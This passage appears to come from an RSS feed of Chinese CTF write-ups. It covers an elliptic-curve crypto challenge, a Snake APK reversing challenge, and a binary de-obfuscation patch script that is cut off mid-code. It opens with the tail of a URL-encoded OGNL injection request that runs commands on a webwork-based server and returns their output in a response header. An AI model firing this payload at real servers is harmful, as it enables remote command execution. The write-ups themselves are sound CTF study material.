class="code-snippet__number">%40</span>com.opensymphony.webwork.ServletActionContext<span class="code-snippet__number">%40</span>getResponse<span class="code-snippet__number">%28</span><span class="code-snippet__number">%29</span>.setHeader<span class="code-snippet__number">%28</span><span class="code-snippet__number">%22</span>X-Cmd-Response<span class="code-snippet__number">%22</span><span class="code-snippet__number">%2</span>C<span class="code-snippet__number">%23</span>a<span class="code-snippet__number">%29</span><span class="code-snippet__number">%29</span><span class="code-snippet__number">%7</span>D/ HTTP/1.1</span></code></pre></section><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="147" data-ratio="0.2536873156342183" style="width: 578px;height: 147px;" data-type="png" data-w="1356" src="https://wechat2rss.xlab.app/img-proxy/?k=c2f7da55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXeNQnficyeVXfGAU1CqDH5ezCClicDYIRh2G5icWvVu6DYabfEZbArBTnw%2F640%3Fwx_fmt%3Dpng"/></p><h1><span style="font-size: 24px;"><strong>0x7 babycurve</strong></span></h1><p>本题为椭圆曲线求解问题。当u=w时，3*u*w + 4*u + 1 = 3u^2 + 4u + 1，从而可以知道椭圆曲线公式为：y^2 = x^3 + 2x^2 + x + C，带入点（4,10），可得C=0，即椭圆曲线公式为：y^2 = x^3 + 2x^2 + x = x(x^2+2x+1) = x(x+1)^2，为奇异椭圆曲线，根据其性质，可将奇异椭圆曲线上的点构成的群映射到有限域上的乘法群中。</p><p>在github找了一个现成的脚本，将点P(4,10)和加密后的点Q映射到有限域上的数mapP、mapQ，从而将椭圆曲线求解转化为有限域上的离散对数求解，使用sage可解得x。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">p = 193387944202565886198256260591909756041</span></code><code><span class="code-snippet_outer">PP = PolynomialRing(GF(p), &#39;x&#39;)</span></code><code><span class="code-snippet_outer">x = PP.gens()[0]</span></code><code><span class="code-snippet_outer">f = x^3 + 2*x^2 + x</span></code><code><span class="code-snippet_outer">f_ = f.subs(x=x-1)</span></code><code><span class="code-snippet_outer">root = f_.factor()[0][0][0]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def trans(P):</span></code><code><span class="code-snippet_outer">    P_ = (P[0] +1, P[1])</span></code><code><span class="code-snippet_outer">    t = GF(p)(root).square_root()</span></code><code><span class="code-snippet_outer">    res = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p</span></code><code><span class="code-snippet_outer">    return res</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">mapP = trans((4, 10))</span></code><code><span class="code-snippet_outer">mapQ = trans((65639504587209705872811542111125696405, 125330437930804525313353306745824609665))</span></code><code><span class="code-snippet_outer">print(mapQ.log(mapP))</span></code></pre></section><p>用求出的x解密发现flag乱码，考虑到可能存在多解情况，尝试不同的x进行AES解密，最后得到flag。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#!/usr/bin/env python3</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># coding=utf-8</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> Crypto.Cipher <span class="code-snippet__keyword">import</span> AES</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">p = <span class="code-snippet__number">193387944202565886198256260591909756041</span></span></code><code><span class="code-snippet_outer">ctext = bytes.fromhex(<span class="code-snippet__string">&#39;b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0&#39;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">test</span><span class="code-snippet__params">(x)</span>:</span></span></code><code><span class="code-snippet_outer">    aes = AES.new(x.to_bytes(<span class="code-snippet__number">16</span>, <span class="code-snippet__string">&#39;big&#39;</span>), AES.MODE_CBC, bytes(<span class="code-snippet__number">16</span>))</span></code><code><span class="code-snippet_outer">    flag = aes.decrypt(ctext)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> <span class="code-snippet__string">b&#39;rwctf&#39;</span> <span class="code-snippet__keyword">in</span> flag:</span></code><code><span class="code-snippet_outer">        print(flag)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">x = <span class="code-snippet__number">4470735776084208177429085432176719338</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">while</span> x &lt; p:</span></code><code><span class="code-snippet_outer">    test(x)</span></code><code><span class="code-snippet_outer">    x += (p<span class="code-snippet__number">-1</span>) // <span class="code-snippet__number">4</span></span></code></pre></section><h1><strong><span style="font-size: 24px;">0x8 Snake</span></strong></h1><p>使用jeb逆向分析发现本程序为贪吃蛇游戏，蛇的每一截身体都是一个从资源列表中选取的png图像。一开始为随机图像，蛇超过一定长度后开始新增固定图像。固定图像共22个，每次从17个图像中选取（b0.png~b16.png，为17个ASCII字符的图像）。</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="213" data-ratio="0.3693379790940767" style="width: 578px;height: 213px;" data-type="png" data-w="1148" src="https://wechat2rss.xlab.app/img-proxy/?k=d46a8ed8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXvQSfacL9L4ZpsJ8OibdyxEHQOFqibwPzrKvpInOv5tZZZsM8ickOK5xiag%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="191" data-ratio="0.3288888888888889" style="width: 578px;height: 190px;" data-type="png" data-w="1125" src="https://wechat2rss.xlab.app/img-proxy/?k=c8ea91f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXiae5mKIWf8E0tRgsl4vOoRxNjNaHNTGuLeYqxGiciaKKSUwNWZzZ3wdXw%2F640%3Fwx_fmt%3Dpng"/></p><p>所选图像的下标通过一段brainfuck代码计算得到，brainfuck关键代码如下：</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="558" data-cropsely1="0" data-cropsely2="342" data-ratio="0.61328125" style="width: 558px;height: 342px;" data-type="png" data-w="1024" src="https://wechat2rss.xlab.app/img-proxy/?k=79715fcc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXS8olicYRxwkk6gw0WYicnaKbiciaNg128gicx3sB4icQLTXCviaSIISB0xh3w%2F640%3Fwx_fmt%3Dpng"/></p><p>该brainfuck代码将&#39;[&#39;、&#39;]&#39;和&#39;&lt;&#39;、&#39;&gt;&#39;字符的含义进行了交换。模拟执行该代码得到23个数，根据程序逻辑去掉第一个，剩下的22个即为下标，以此选取对应的字母图像，组合得到的字符串，再以rwctf{}包上即为flag：rwctf{K33PG01NGD0N0TG1V3UPPP}。</p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484322">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1917d631&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247484322%26idx%3D1%26sn%3D325181b272eec229da7b236941a473c3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 09 Jan 2023 17:58:00 +0800</pubDate>
    </item>
    <item>
      <title>2022网鼎杯白虎组部分wp（新增re-junk）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247484265&amp;idx=1&amp;sn=dae899414ee7b95778f53db1ad128fa4</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>Red0</span> <span>2022-08-30 08:30</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1ecd892c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nI4Vn8eLtEKKTMjR3OaoUP8PoCovm2mSBjQ6LvbQ7N1fsXtgicZxD9QM7LZ1ZTRK7hnGeQOjhTgY9Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="margin: 8px 0px;padding: 0px;font-weight: 400;font-size: 16px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f" style="margin: 0px;padding: 0px;"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" style="margin: 0px;padding: 0px;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 24px;">0x0 junk</span></strong></v:path></v:shapetype></h1><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">(</v:path></v:shapetype></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">本题为赛后解出，特此补上wp)<br/></v:path></v:shapetype></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><strong><span style="font-size: 20px;">阶段一<br/></span></strong></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">使用IDA分析本题，发现存在花指令<br/></v:path></v:shapetype></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2016498625114574" data-s="300,640" style="" data-type="png" data-w="2182" src="https://wechat2rss.xlab.app/img-proxy/?k=ca97f880&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLrut2hM6pyJYRoFIB4F4XsntEG09N9erYsiazTENzqwpH5ZickjMPymf3KRgndhicjAvsfaKfG8l9kA%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">其模式如图所示，通过xor + jz形式，看似为条件判断的jz，由于xor rax, rax必得0，故jz的跳转必定执行，而ida无法发现这一点。我们可以通过将jz指令改为直接跳转的jmp指令，从而避免ida误判。<br/></v:path></v:shapetype></p><p style=""><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"><strong><span style="font-size: 20px;">阶段二</span></strong></v:path></v:shapetype></v:path></v:shapetype><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype></p><p>patch掉阶段一的花指令后，发现程序中存在大量int 3调试中断指令，又有位于0x140001320的调试中断事件处理函数，如下图所示：</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9320261437908497" data-s="300,640" style="" data-type="png" data-w="1530" src="https://wechat2rss.xlab.app/img-proxy/?k=3851c61e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLrut2hM6pyJYRoFIB4F4XsQqHnbkfopdchoLQWDOQOKzJ1LE2j8V33LjL0FMx2AKnO6FxGAA2C1Q%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">该函数会根据int 3指令后一字节的值采取不同的处理方式，本质上是模拟一条指令的运行，如图中的case 4，等价于mov rcx, rsi。因此我们对所有int 3指令进行patch，转换为其等价的汇编指令。<br/></v:path></v:shapetype></p><p>阶段一和阶段二的patch脚本如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> keystone <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">ks = Ks(KS_ARCH_X86,KS_MODE_64)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">patch1</span><span class="code-snippet__params">(start, end)</span>:</span></span></code><code><span class="code-snippet_outer">    size = end - start</span></code><code><span class="code-snippet_outer">    start -= <span class="code-snippet__number">0xc00</span></span></code><code><span class="code-snippet_outer">    end -= <span class="code-snippet__number">0xc00</span></span></code><code><span class="code-snippet_outer">    tmp = bytearray(raw)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(start, end):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> tmp[i:i+<span class="code-snippet__number">5</span>] == <span class="code-snippet__string">b&#39;\x50\x48\x31\xc0\x74&#39;</span>:</span></code><code><span class="code-snippet_outer">            tmp[i+<span class="code-snippet__number">4</span>] = <span class="code-snippet__number">0xeb</span></span></code><code><span class="code-snippet_outer">            jmp_size = tmp[i+<span class="code-snippet__number">5</span>]</span></code><code><span class="code-snippet_outer">            tmp[i+<span class="code-snippet__number">6</span>:i+<span class="code-snippet__number">6</span>+jmp_size] = <span class="code-snippet__string">b&#39;\x90&#39;</span>*jmp_size</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">with</span> open(<span class="code-snippet__string">&#39;junk-new1.exe&#39;</span>,<span class="code-snippet__string">&#39;wb&#39;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><code><span class="code-snippet_outer">        f.write(tmp)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">patch2</span><span class="code-snippet__params">(start, end)</span>:</span></span></code><code><span class="code-snippet_outer">    size = end - start</span></code><code><span class="code-snippet_outer">    start -= <span class="code-snippet__number">0xc00</span></span></code><code><span class="code-snippet_outer">    end -= <span class="code-snippet__number">0xc00</span></span></code><code><span class="code-snippet_outer">    tmp = bytearray(raw)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(start, end):</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> i <span class="code-snippet__keyword">in</span> (<span class="code-snippet__number">0x41e</span>, <span class="code-snippet__number">0x41f</span>, <span class="code-snippet__number">0xcd2</span>):</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> <span class="code-snippet__number">0x572</span> &lt;= i &lt; <span class="code-snippet__number">0x580</span> <span class="code-snippet__keyword">or</span> <span class="code-snippet__number">0x71d</span> &lt;= i &lt; <span class="code-snippet__number">0x720</span> <span class="code-snippet__keyword">or</span> <span class="code-snippet__number">0xd4c</span> &lt;= i &lt; <span class="code-snippet__number">0xd50</span> <span class="code-snippet__keyword">or</span> <span class="code-snippet__number">0xe45</span> &lt;= i &lt; <span class="code-snippet__number">0xe50</span> <span class="code-snippet__keyword">or</span> <span class="code-snippet__number">0xe9b</span> &lt;= i &lt; <span class="code-snippet__number">0xea0</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> tmp[i] != <span class="code-snippet__number">0xcc</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">        choice = tmp[i+<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> choice == <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">4</span></span></code><code><span class="code-snippet_outer">            delta = tmp[i+<span class="code-snippet__number">3</span>]</span></code><code><span class="code-snippet_outer">            sign = tmp[i+<span class="code-snippet__number">2</span>]</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> sign == <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                ins = <span class="code-snippet__string">f&#39;sub rsp, <span class="code-snippet__subst">{delta:#x}</span>&#39;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">elif</span> sign == <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                ins = <span class="code-snippet__string">f&#39;add rsp, <span class="code-snippet__subst">{delta:#x}</span>&#39;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">                print(<span class="code-snippet__string">&#39;Sign error!&#39;</span>)</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">assert</span> <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">4</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;mov rcx, rsi&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">3</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">5</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;cmp rax, 0x2a&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">4</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">6</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;mov rdx, rsi&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">3</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">8</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;mov edx, 0x9E3779B9&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">5</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">9</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;mov r11d, 32&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">6</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">10</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;mov eax, esi&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">11</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;mov ebx, eax&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">12</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;xor ebx, esi&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">13</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;add ebx, 45&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">3</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">14</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;xor ebx, edi&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">15</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;add ecx, ebx&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">16</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;mov esi, ecx&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">17</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;add esi, 67&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">3</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span class="code-snippet__number">18</span>:</span></code><code><span class="code-snippet_outer">            ins = <span class="code-snippet__string">&#39;xor edi, esi&#39;</span></span></code><code><span class="code-snippet_outer">            ins_len = <span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">elif</span> choice == <span 